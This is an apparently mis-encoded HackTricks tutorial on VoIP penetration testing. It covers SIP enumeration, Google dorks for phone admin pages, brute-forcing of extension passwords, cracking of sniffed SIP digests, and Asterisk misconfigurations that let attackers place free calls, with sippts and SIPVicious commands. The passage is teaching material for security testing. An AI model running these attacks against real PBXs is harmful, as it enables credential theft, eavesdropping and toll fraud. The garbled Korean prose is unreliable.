# Pentesting VoIP
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## VoIP κΈ°λ³Έ μ 보
VoIP μλ λ°©μμ λν΄ λ°°μ°λ €λ©΄ λ€μμ νμΈνμΈμ:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
{% endcontent-ref %}
## κΈ°λ³Έ λ©μμ§
```
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
```
## Response Codes
**1xxβμμ μλ΅**
```
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
```
**2xxβμ±κ³΅μ μΈ μλ΅**
```
200 OK
202 Accepted
204 No Notification
```
**3xxβ리λλ μ
μλ΅**
```
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
```
**4xxβν΄λΌμ΄μΈνΈ μ€ν¨ μλ΅**
```
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
```
**5xxβμλ² μ€ν¨ μλ΅**
```
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xxβμ μ μ€ν¨ μλ΅**
```
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
```
## VoIP Enumeration
### Telephone Numbers
Red Teamμ΄ ν μ μλ 첫 λ²μ§Έ λ¨κ³ μ€ νλλ OSINT λꡬ, Google κ²μ λλ μΉ νμ΄μ§ μ€ν¬λνμ μ¬μ©νμ¬ νμ¬μ μ°λ½ν μ μλ μ νλ²νΈλ₯Ό κ²μνλ κ²μ
λλ€.
μ νλ²νΈλ₯Ό ν보ν νμλ μ¨λΌμΈ μλΉμ€λ₯Ό μ¬μ©νμ¬ μ΄μμλ₯Ό μλ³ν μ μμ΅λλ€:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
μ΄μμκ° VoIP μλΉμ€λ₯Ό μ 곡νλμ§ μλ κ²μ νμ¬κ° VoIPλ₯Ό μ¬μ©νκ³ μλμ§ μλ³νλ λ° λμμ΄ λ©λλ€... κ²λ€κ°, νμ¬κ° VoIP μλΉμ€λ₯Ό κ³μ½νμ§ μμμ§λ§ PSTN μΉ΄λλ₯Ό μ¬μ©νμ¬ μ체 VoIP PBXλ₯Ό μ ν΅μ μΈ μ ν λ€νΈμν¬μ μ°κ²°νκ³ μμ κ°λ₯μ±λ μμ΅λλ€.
μμ
μ μλ μλ΅κ³Ό κ°μ κ²λ€μ μΌλ°μ μΌλ‘ VoIPκ° μ¬μ©λκ³ μμμ λνλ
λλ€.
### Google Dorks
```bash
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
```
### OSINT μ 보
VoIP μννΈμ¨μ΄λ₯Ό μλ³νλ λ° λμμ΄ λλ λ€λ₯Έ OSINT μ΄κ±°λ Red Teamμ μ μ©ν κ²μ
λλ€.
### λ€νΈμν¬ μ΄κ±°
* **`nmap`**μ UDP μλΉμ€λ₯Ό μ€μΊν μ μμ§λ§, μ€μΊλλ UDP μλΉμ€μ μ λλ¬Έμ λ§€μ° λλ¦¬κ³ μ΄λ¬ν μ’
λ₯μ μλΉμ€μ λν΄ μ ννμ§ μμ μ μμ΅λλ€.
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
* **`svmap`** from SIPVicious (`sudo apt install sipvicious`): μ§μ λ λ€νΈμν¬μμ SIP μλΉμ€λ₯Ό μ°Ύμ΅λλ€.
* `svmap`μ User-Agent `friendly-scanner`λ₯Ό μ¬μ©νκΈ° λλ¬Έμ **μ°¨λ¨νκΈ° μ½μ΅λλ€**, νμ§λ§ `/usr/share/sipvicious/sipvicious`μ μ½λλ₯Ό μμ νμ¬ λ³κ²½ν μ μμ΅λλ€.
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS μ€μΊ`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS μ€μΊμ UDP, TCP λλ TLSλ₯Ό ν΅ν SIP μλΉμ€μ λν λ§€μ° λΉ λ₯Έ μ€μΊλμ
λλ€. λ©ν°μ€λ λλ₯Ό μ¬μ©νλ©° λκ·λͺ¨ λ€νΈμν¬ λ²μλ₯Ό μ€μΊν μ μμ΅λλ€. ν¬νΈ λ²μλ₯Ό μ½κ² μ§μ νκ³ , TCPμ UDPλ₯Ό λͺ¨λ μ€μΊνλ©°, λ€λ₯Έ λ°©λ²μ μ¬μ©ν μ μκ³ (κΈ°λ³Έμ μΌλ‘ OPTIONSλ₯Ό μ¬μ©), λ€λ₯Έ User-Agentλ₯Ό μ§μ ν μ μμ΅λλ€(κΈ°ν λ±λ±).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
```
* **metasploit**:
```
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Extra Network Enumeration
PBXλ λ€μκ³Ό κ°μ λ€λ₯Έ λ€νΈμν¬ μλΉμ€λ₯Ό λ
ΈμΆν μ μμ΅λλ€:
* **69/UDP (TFTP)**: νμ¨μ΄ μ
λ°μ΄νΈ
* **80 (HTTP) / 443 (HTTPS)**: μΉμμ μ₯μΉλ₯Ό κ΄λ¦¬νκΈ° μν΄
* **389 (LDAP)**: μ¬μ©μ μ 보λ₯Ό μ μ₯νλ λμ
* **3306 (MySQL)**: MySQL λ°μ΄ν°λ² μ΄μ€
* **5038 (Manager)**: λ€λ₯Έ νλ«νΌμμ Asteriskλ₯Ό μ¬μ©ν μ μκ² ν¨
* **5222 (XMPP)**: Jabberλ₯Ό μ¬μ©ν λ©μμ§
* **5432 (PostgreSQL)**: PostgreSQL λ°μ΄ν°λ² μ΄μ€
* κΈ°ν...
### Methods Enumeration
PBXμμ μ¬μ©ν μ μλ **λ©μλ**λ₯Ό μ°Ύλ κ²μ `SIPPTS enumerate`λ₯Ό μ¬μ©νμ¬ κ°λ₯ν©λλ€ [**sippts**](https://github.com/Pepelux/sippts)
```bash
sippts enumerate -i 10.10.0.10
```
### μλ² μλ΅ λΆμ
μλ²κ° μ°λ¦¬μκ² λ³΄λ΄λ ν€λλ₯Ό λΆμνλ κ²μ λ§€μ° μ€μν©λλ€. μ΄λ μ°λ¦¬κ° 보λ΄λ λ©μμ§μ ν€λμ μ νμ λ°λΌ λ¬λΌμ§λλ€. [**sippts**](https://github.com/Pepelux/sippts)μ `SIPPTS send`λ₯Ό μ¬μ©νλ©΄ λͺ¨λ ν€λλ₯Ό μ‘°μνμ¬ κ°μΈνλ λ©μμ§λ₯Ό λ³΄λΌ μ μμΌλ©°, μλ΅μ λΆμν μ μμ΅λλ€.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
μλ²κ° μΉμμΌμ μ¬μ©νλ κ²½μ° λ°μ΄ν°μ μ κ·Όνλ κ²λ κ°λ₯ν©λλ€. [**sippts**](https://github.com/Pepelux/sippts)μ `SIPPTS wssend`λ₯Ό μ¬μ©νμ¬ κ°μΈνλ WS λ©μμ§λ₯Ό λ³΄λΌ μ μμ΅λλ€.
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Extension Enumeration
PBX(Private Branch Exchange) μμ€ν
μμ νμ₯μ **μ‘°μ§μ΄λ λΉμ¦λμ€ λ΄μ κ°λ³** μ νμ , μ₯μΉ λλ μ¬μ©μμκ² ν λΉλ **κ³ μ ν λ΄λΆ μλ³μ**λ₯Ό μλ―Έν©λλ€. νμ₯μ **μ‘°μ§ λ΄μμ μ νλ₯Ό ν¨μ¨μ μΌλ‘ λΌμ°ν
**ν μ μκ² νμ¬ κ° μ¬μ©μλ μ₯μΉμ λν κ°λ³ μΈλΆ μ νλ²νΈκ° νμνμ§ μμ΅λλ€.
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`λ λ¬΄λ£ SIP PBX νμ₯μ μ€μΊλμ
λλ€. κ°λ
μ μΌλ‘ μ ν΅μ μΈ μλλ€μ΄μΌλ¬μ μ μ¬νκ² **νμ₯ λ²μ λλ μ£Όμ΄μ§ νμ₯ λͺ©λ‘μ μΆμΈ‘**νμ¬ μλν©λλ€.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS extenμ SIP μλ²μμ νμ₯μ μλ³ν©λλ€. Sipextenμ λκ·λͺ¨ λ€νΈμν¬ λ° ν¬νΈ λ²μλ₯Ό νμΈν μ μμ΅λλ€.
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
* **metasploit**: metasploitμ μ¬μ©νμ¬ νμ₯/μ¬μ©μ μ΄λ¦μ μ΄κ±°ν μλ μμ΅λλ€:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX**λ Inter Asterisk Exchange νλ‘ν μ½ **μ¬μ©μ μ΄λ¦ λ¬΄μ°¨λ³ λμ
μ΄κ±°κΈ°**μ
λλ€. enumIAXλ λ κ°μ§ λͺ¨λμμ μλν μ μμ΅λλ€; μμ°¨μ μ¬μ©μ μ΄λ¦ μΆμΈ‘ λλ μ¬μ 곡격.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## VoIP 곡격
### λΉλ°λ²νΈ λ¬΄μ°¨λ³ λμ
- μ¨λΌμΈ
**PBX**μ μΌλΆ **νμ₯/μ¬μ©μ μ΄λ¦**μ λ°κ²¬ν ν, Red Teamμ μΌλ° λΉλ°λ²νΈ μ¬μ μ μ¬μ©νμ¬ μΈμ¦μ λ¬΄μ°¨λ³ λμ
νκΈ° μν΄ **`REGISTER` λ°©λ²**μ ν΅ν΄ νμ₯μ μΈμ¦μ μλν μ μμ΅λλ€.
{% hint style="danger" %}
**μ¬μ©μ μ΄λ¦**μ΄ νμ₯κ³Ό λμΌν μ μμ§λ§, μ΄ κ΄νμ PBX μμ€ν
, κ΅¬μ± λ° μ‘°μ§μ μ νΈλμ λ°λΌ λ€λ₯Ό μ μμ΅λλ€...
μ¬μ©μ μ΄λ¦μ΄ νμ₯κ³Ό λμΌνμ§ μμ κ²½μ°, **λ¬΄μ°¨λ³ λμ
μ μν΄ μ¬μ©μ μ΄λ¦μ μμλ΄μΌ ν©λλ€**.
{% endhint %}
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrackμ PBXμμ νΉμ μ¬μ©μ μ΄λ¦/νμ₯μ λΉλ°λ²νΈλ₯Ό ν΄λ
ν μ μκ² ν΄μ€λλ€.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrackμ SIP μλΉμ€μ© μ격 λΉλ°λ²νΈ ν¬λ컀μ
λλ€. Rcrackμ μ¬λ¬ μ¬μ©μμ λν΄ λ€μν IP λ° ν¬νΈ λ²μμμ λΉλ°λ²νΈλ₯Ό ν
μ€νΈν μ μμ΅λλ€.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
* **Metasploit**:
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
### VoIP μ€λν
**Open Wifi λ€νΈμν¬** λ΄μμ VoIP μ₯λΉλ₯Ό λ°κ²¬νλ©΄ **λͺ¨λ μ 보λ₯Ό μ€λν**ν μ μμ΅λλ€. λν, λ νμλ λ€νΈμν¬(μ΄λλ· λλ 보νΈλ Wifiλ₯Ό ν΅ν΄ μ°κ²°λ κ²½μ°) λ΄μμλ **PBXμ κ²μ΄νΈμ¨μ΄** κ°μ **MitM 곡격**μΈ [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)μ μννμ¬ μ 보λ₯Ό μ€λνν μ μμ΅λλ€.
λ€νΈμν¬ μ 보 μ€μλ μ₯λΉλ₯Ό κ΄λ¦¬νκΈ° μν **μΉ μ격 μ¦λͺ
**, μ¬μ©μ **λ΄μ **, **μ¬μ©μ μ΄λ¦**, **IP** μ£Όμ, μ¬μ§μ΄ **ν΄μλ λΉλ°λ²νΈ**μ **RTP ν¨ν·**μ΄ ν¬ν¨λμ΄ μμ΄ **λνλ₯Ό λ€μ μ** μμ΅λλ€.
μ΄ μ 보λ₯Ό μ»κΈ° μν΄ Wireshark, tcpdumpμ κ°μ λꡬλ₯Ό μ¬μ©ν μ μμ§λ§, **VoIP λνλ₯Ό μ€λννκΈ° μν΄ νΉλ³ν μ μλ λꡬλ** [**ucsniff**](https://github.com/Seabreg/ucsniff)μ
λλ€.
{% hint style="danger" %}
**SIP ν΅μ μ TLSκ° μ¬μ©λλ κ²½μ°** SIP ν΅μ μ λͺ
ννκ² λ³Ό μ μμ΅λλ€.\
**SRTP** λ° **ZRTP**κ° μ¬μ©λλ κ²½μ°μλ **RTP ν¨ν·μ νλ¬Έμ΄ μλλλ€**.
{% endhint %}
#### SIP μ격 μ¦λͺ
(λΉλ°λ²νΈ λΈλ£¨νΈν¬μ€ - μ€νλΌμΈ)
[**SIP REGISTER ν΅μ **μ λ μ μ΄ν΄νκΈ° μν μ΄ μμ λ₯Ό νμΈνμΈμ](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **μ격 μ¦λͺ
μ΄ μ΄λ»κ² μ μ‘λλμ§** λ°°μ°κΈ° μν΄.
* **`sipdump`** & **`sipcrack`,** **sipcrack**μ μΌλΆ(`apt-get install sipcrack`): μ΄ λꡬλ€μ **pcap**μμ SIP νλ‘ν μ½ λ΄μ **λ€μ΄μ μ€νΈ μΈμ¦**μ **μΆμΆ**νκ³ **λΈλ£¨νΈν¬μ€**ν μ μμ΅λλ€.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS λ€νλ pcap νμΌμμ λ€μ΄μ μ€νΈ μΈμ¦μ μΆμΆν μ μμ΅λλ€.
```bash
sippts dump -f capture.pcap -o data.txt
```
* **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrackμ SIPPTS λ€νμμ μ»μ λ€μ΄μ μ€νΈ μΈμ¦μ ν¬λνλ λꡬμ
λλ€.
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
* **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tsharkλ PCAP νμΌμμ SIP νλ‘ν μ½μ λ°μ΄ν°λ₯Ό μΆμΆν©λλ€.
```bash
sippts tshark -f capture.pcap [-filter auth]
```
#### DTMF μ½λ
**SIP μ격 μ¦λͺ
**λΏλ§ μλλΌ λ€νΈμν¬ νΈλν½μμ **μμ± λ©μΌ**μ μ κ·Όνλ λ° μ¬μ©λλ DTMF μ½λλ₯Ό μ°Ύλ κ²λ κ°λ₯ν©λλ€.\
μ΄ μ½λλ **INFO SIP λ©μμ§**, **μ€λμ€** λλ **RTP ν¨ν·** λ΄μμ μ μ‘ν μ μμ΅λλ€. RTP ν¨ν· λ΄μ μ½λκ° μλ κ²½μ°, λνμ ν΄λΉ λΆλΆμ μλΌλ΄κ³ multimo λꡬλ₯Ό μ¬μ©νμ¬ μΆμΆν μ μμ΅λλ€:
```bash
multimon -a DTMF -t wac pin.wav
```
### λ¬΄λ£ ν΅ν / Asterisks μ°κ²° μλͺ» ꡬμ±
Asteriskμμλ **νΉμ IP μ£Όμ**μμμ μ°κ²° λλ **λͺ¨λ IP μ£Όμ**μμμ μ°κ²°μ νμ©ν μ μμ΅λλ€:
```
host=10.10.10.10
host=dynamic
```
If an IP address is specified, the host **REGISTER** μμ²μ μ£ΌκΈ°μ μΌλ‘ λ³΄λΌ νμκ° μμ΅λλ€ (REGISTER ν¨ν·μλ μΌλ°μ μΌλ‘ 30λΆμΈ μμ‘΄ μκ°μ΄ ν¬ν¨λμ΄ μμ΄, λ€λ₯Έ μλ리μ€μμλ μ νκ° 30λΆλ§λ€ REGISTERλ₯Ό ν΄μΌ ν©λλ€). κ·Έλ¬λ VoIP μλ²μμ μ νλ₯Ό λ°μ μ μλλ‘ μ°κ²°μ νμ©νλ μ΄λ¦° ν¬νΈκ° νμν©λλ€.
μ¬μ©μλ₯Ό μ μνλ €λ©΄ λ€μκ³Ό κ°μ΄ μ μν μ μμ΅λλ€:
* **`type=user`**: μ¬μ©μλ μ¬μ©μλ‘μλ§ μ νλ₯Ό λ°μ μ μμ΅λλ€.
* **`type=friend`**: νΌμ΄λ‘ μ νλ₯Ό κ±Έκ³ μ¬μ©μλ‘μ λ°μ μ μμ΅λλ€ (νμ₯κ³Ό ν¨κ» μ¬μ©λ¨)
* **`type=peer`**: νΌμ΄λ‘ μ νλ₯Ό 보λ΄κ³ λ°μ μ μμ΅λλ€ (SIP-trunks)
μ λ’°λ₯Ό μ€μ νλ κ²λ κ°λ₯ν©λλ€:
* **`insecure=port`**: IPλ‘ κ²μ¦λ νΌμ΄ μ°κ²°μ νμ©ν©λλ€.
* **`insecure=invite`**: INVITE λ©μμ§μ λν μΈμ¦μ΄ νμνμ§ μμ΅λλ€.
* **`insecure=port,invite`**: λ λ€
{% hint style="warning" %}
**`type=friend`**κ° μ¬μ©λ λ, **host** λ³μμ **κ°**μ **μ¬μ©λμ§ μμΌλ―λ‘**, κ΄λ¦¬μκ° ν΄λΉ κ°μ μ¬μ©νμ¬ **SIP-trunkλ₯Ό μλͺ» ꡬμ±νλ©΄**, **λꡬλ μ°κ²°ν μ μμ΅λλ€**.
μλ₯Ό λ€μ΄, μ΄ κ΅¬μ±μ μ·¨μ½ν κ²μ
λλ€:\
`host=10.10.10.10`\
`insecure=port,invite`\
`type=friend`
{% endhint %}
### λ¬΄λ£ ν΅ν / Asterisks 컨ν
μ€νΈ μλͺ» ꡬμ±
Asteriskμμ **컨ν
μ€νΈ**λ **κ΄λ ¨λ νμ₯, μμ
λ° κ·μΉμ κ·Έλ£Ήννλ** μ΄λ¦μ΄ μλ 컨ν
μ΄λ λλ μΉμ
μ
λλ€. λ€μ΄μΌ νλμ Asterisk μμ€ν
μ ν΅μ¬ κ΅¬μ± μμλ‘, **μμ λ° λ°μ μ νλ₯Ό μ²λ¦¬νκ³ λΌμ°ν
νλ λ°©λ²μ μ μν©λλ€**. 컨ν
μ€νΈλ λ€μ΄μΌ νλμ ꡬμ±νκ³ , μ κ·Ό μ μ΄λ₯Ό κ΄λ¦¬νλ©°, μμ€ν
μ μλ‘ λ€λ₯Έ λΆλΆ κ°μ λΆλ¦¬λ₯Ό μ 곡ν©λλ€.
κ° μ»¨ν
μ€νΈλ κ΅¬μ± νμΌ, μΌλ°μ μΌλ‘ **`extensions.conf`** νμΌμ μ μλ©λλ€. 컨ν
μ€νΈλ λκ΄νΈλ‘ νμλλ©°, κ·Έ μμ 컨ν
μ€νΈ μ΄λ¦μ΄ ν¬ν¨λ©λλ€. μ:
```bash
csharpCopy code[my_context]
```
λ΄λΆ 컨ν
μ€νΈμμ, λΉμ μ νμ₯(λ€μ΄μΌλ λ²νΈμ ν¨ν΄)μ μ μνκ³ μ΄λ₯Ό μΌλ ¨μ λμμ΄λ μ ν리μΌμ΄μ
κ³Ό μ°κ΄μν΅λλ€. μ΄λ¬ν λμμ ν΅νκ° μ²λ¦¬λλ λ°©μμ κ²°μ ν©λλ€. μλ₯Ό λ€μ΄:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
μ΄ μμ λ "my\_context"λΌλ κ°λ¨ν 컨ν
μ€νΈμ "100"μ΄λΌλ νμ₯μ 보μ¬μ€λλ€. λκ΅°κ° 100μ λ€μ΄μΌνλ©΄, ν΅νκ° μ°κ²°λκ³ νμ λ©μμ§κ° μ¬μλ ν ν΅νκ° μ’
λ£λ©λλ€.
μ΄κ²μ **λ€λ₯Έ 컨ν
μ€νΈ**λ‘, **λ€λ₯Έ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μκ²** ν©λλ€:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
κ΄λ¦¬μκ° **κΈ°λ³Έ 컨ν
μ€νΈ**λ₯Ό λ€μκ³Ό κ°μ΄ μ μνλ©΄:
```
[default]
include => my_context
include => external
```
{% hint style="warning" %}
λꡬλ **μλ²λ₯Ό μ¬μ©νμ¬ λ€λ₯Έ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μμ΅λλ€** (μλ²μ κ΄λ¦¬μκ° μ νλ₯Ό λΉμ©μ μ§λΆν©λλ€).
{% endhint %}
{% hint style="danger" %}
κ²λ€κ° κΈ°λ³Έμ μΌλ‘ **`sip.conf`** νμΌμλ **`allowguest=true`**κ° ν¬ν¨λμ΄ μμΌλ―λ‘ **μΈμ¦ μμ΄** **μ΄λ€** 곡격μλ λ€λ₯Έ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μμ΅λλ€.
{% endhint %}
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteλ **PBX μλ²κ° μΈμ¦ μμ΄ μ νλ₯Ό κ±Έ μ μλλ‘ νμ©νλμ§** νμΈν©λλ€. SIP μλ²μ ꡬμ±μ΄ μλͺ»λ κ²½μ° μΈλΆ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μλλ‘ νμ©ν©λλ€. λν μ νλ₯Ό λ λ²μ§Έ μΈλΆ λ²νΈλ‘ μ μ‘ν μ μλλ‘ νμ©ν μ μμ΅λλ€.
μλ₯Ό λ€μ΄, Asterisk μλ²μ μλͺ»λ 컨ν
μ€νΈ ꡬμ±μ΄ μλ κ²½μ°, μΈμ¦ μμ΄ INVITE μμ²μ μλ½ν μ μμ΅λλ€. μ΄ κ²½μ° κ³΅κ²©μλ μ¬μ©μ/λΉλ°λ²νΈλ₯Ό μμ§ λͺ»νκ³ λ μ νλ₯Ό κ±Έ μ μμ΅λλ€.
{% code overflow="wrap" %}
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
{% endcode %}
### λ¬΄λ£ ν΅ν / μλͺ» ꡬμ±λ IVRS
IVRSλ **μΈν°λν°λΈ μμ± μλ΅ μμ€ν
**μ μλ―Ένλ©°, μ¬μ©μκ° μμ± λλ ν°μΉν€ μ
λ ₯μ ν΅ν΄ μ»΄ν¨ν°νλ μμ€ν
κ³Ό μνΈμμ©ν μ μλλ‘ νλ μ ν κΈ°μ μ
λλ€. IVRSλ μ 보λ₯Ό μ 곡νκ³ , μ νλ₯Ό λΌμ°ν
νλ©°, μ¬μ©μ μ
λ ₯μ μΊ‘μ²νλ λ± λ€μν κΈ°λ₯μ μ 곡νλ **μλνλ ν΅ν μ²λ¦¬** μμ€ν
μ ꡬμΆνλ λ° μ¬μ©λ©λλ€.
VoIP μμ€ν
μ IVRSλ μΌλ°μ μΌλ‘ λ€μμΌλ‘ ꡬμ±λ©λλ€:
1. **μμ± ν둬ννΈ**: μ¬μ©μμκ² IVR λ©λ΄ μ΅μ
λ° μ§μΉ¨μ μλ΄νλ 미리 λ
Ήμλ μ€λμ€ λ©μμ§μ
λλ€.
2. **DTMF** (λμΌ ν€ λ€μ€ μ£Όνμ) μ νΈ: μ ν ν€λ₯Ό λλ¬ μμ±λ ν°μΉν€ μ
λ ₯μΌλ‘, IVR λ©λ΄λ₯Ό νμνκ³ μ
λ ₯μ μ 곡νλ λ° μ¬μ©λ©λλ€.
3. **ν΅ν λΌμ°ν
**: μ¬μ©μ μ
λ ₯μ λ°λΌ νΉμ λΆμ, μλ΄μ λλ λ΄μ μΌλ‘ μ νλ₯Ό μ μ ν λͺ©μ μ§λ‘ μλ΄ν©λλ€.
4. **μ¬μ©μ μ
λ ₯ μΊ‘μ²**: κ³μ’ λ²νΈ, μ¬κ±΄ ID λλ κΈ°ν κ΄λ ¨ λ°μ΄ν°λ₯Ό ν¬ν¨νμ¬ λ°μ μλ‘λΆν° μ 보λ₯Ό μμ§ν©λλ€.
5. **μΈλΆ μμ€ν
κ³Όμ ν΅ν©**: IVR μμ€ν
μ λ°μ΄ν°λ² μ΄μ€ λλ κΈ°ν μννΈμ¨μ΄ μμ€ν
μ μ°κ²°νμ¬ μ 보λ₯Ό μ‘μΈμ€νκ±°λ μ
λ°μ΄νΈνκ³ , μμ
μ μννκ±°λ μ΄λ²€νΈλ₯Ό νΈλ¦¬κ±°ν©λλ€.
Asterisk VoIP μμ€ν
μμλ λ€μ΄μΌ νλ (**`extensions.conf`** νμΌ)κ³Ό `Background()`, `Playback()`, `Read()` λ± λ€μν μ ν리μΌμ΄μ
μ μ¬μ©νμ¬ IVRμ μμ±ν μ μμ΅λλ€. μ΄λ¬ν μ ν리μΌμ΄μ
μ μμ± ν둬ννΈλ₯Ό μ¬μνκ³ , μ¬μ©μ μ
